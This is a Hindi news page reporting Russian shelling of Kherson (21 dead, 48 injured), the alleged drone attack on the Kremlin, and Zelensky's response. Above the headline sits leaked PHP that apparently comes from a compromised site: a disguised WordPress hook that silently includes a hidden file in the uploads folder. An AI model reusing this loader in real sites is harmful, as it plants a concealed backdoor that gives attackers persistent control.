add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); क्रेमलिन पर ड्रोन अटैक का बदला! खेरसान में रूस ने की भारी गोलाबारी, 21 की मौत, 48 घायल – SOCH INDIA
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क्रेमलिन पर ड्रोन अटैक का बदला! खेरसान में रूस ने की भारी गोलाबारी, 21 की मौत, 48 घायल

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यूक्रेन के दक्षिणी खेरसॉन क्षेत्र पर रूसी हमलों में बुधवार को 21 लोगों की मौत हो गई और दर्जनों घायल हो गए. यह हमले खेरसान शहर और आसपास के गांवों में किए गए. अधिकारियों इन हमलों को बड़ा करा दिया और जानकारी दी कि मृतकों में से 12 शहर में और अन्य आसपास के गांवों में मारे गए. इस हमले के बाद यह सवाल उठ रहे हैं कि क्या यह हमले क्रेमलिन पर हुए कथित ड्रोन का जवाब थे.

खेरसान के अधिकारियों ने कहा, ‘3 मई की सुबह, रूसी सैनिकों ने खेरसॉन शहर और क्षेत्र की बस्तियों पर बड़े पैमाने पर गोलाबारी शुरू की.‘ यह जानकारी महत्वपूर्ण है क्योंकि रूसी अधिकारियों ने बुधवार को बाद में यह आरोप लगाया कि यूक्रेन ने मंगलवार रात राष्ट्रपति व्लादिमीर पुतिन की हत्या के प्रयास में क्रेमलिन पर दो ड्रोन से हमला किया था.

क्रेमलिन ने कथित हमले के प्रयास को आतंकवादी कृत्य करार दिया और कहा कि रूसी सेना और सुरक्षाबलों ने हमले से पहले ही दोनों ड्रोन को निष्क्रिय कर दिया

यूक्रेन के राष्ट्रपति ने कही ये बात
यूक्रेन के राष्ट्रपति वोलोदोमिर जेलेंस्की ने इन हमलों से तबाह एक सुपरमार्केट की तस्वीरें ट्विटर पर शेयर की. उन्होंने ट्वटिर पर लिखा, ‘दुनिया को यह देखने और जानने की जरूरत है. एक रेलवे स्टेशन और एक क्रॉसिंग, एक घर, एक हार्डवेयर स्टोर, एक किराना सुपरमार्केट, एक गैस स्टेशन – क्या आप जानते हैं कि इन जगहों को आपस में क्या जोड़ता है? एक खूनी निशान… जो रूस अपने बमबारी के साथ छोड़ता है, वह खेरसान और खेरसान क्षेत्र में नागरिकों की हत्या करता है.‘

जेलेंस्की ने कहा, ‘अब तक, 21 लोगों की मौत हो चुकी है! 48 घायल! सभी नागरिक!! पीड़ितों के परिवारों और दोस्तों के प्रति मेरी संवेदना.. उन्होंने लिखा, ‘हम दोषियों को कभी माफ नहीं करेंगे. हम दुष्ट रूस को हराएंगे को और सभी अपराधियों का हिसाब करेंगे!’

खेरसॉन पर पिछले साल हमले के शुरुआती दिनों में ही रूसी सैनिकों ने कब्जा कर लिया था और फिर यह शहर नवंबर 2022 तक रूसी कब्जे में रहा। इसके बाद रूसी सेना शहर से हट गई, नीप्रो नदी के पूर्वी हिस्से को पार कर गई.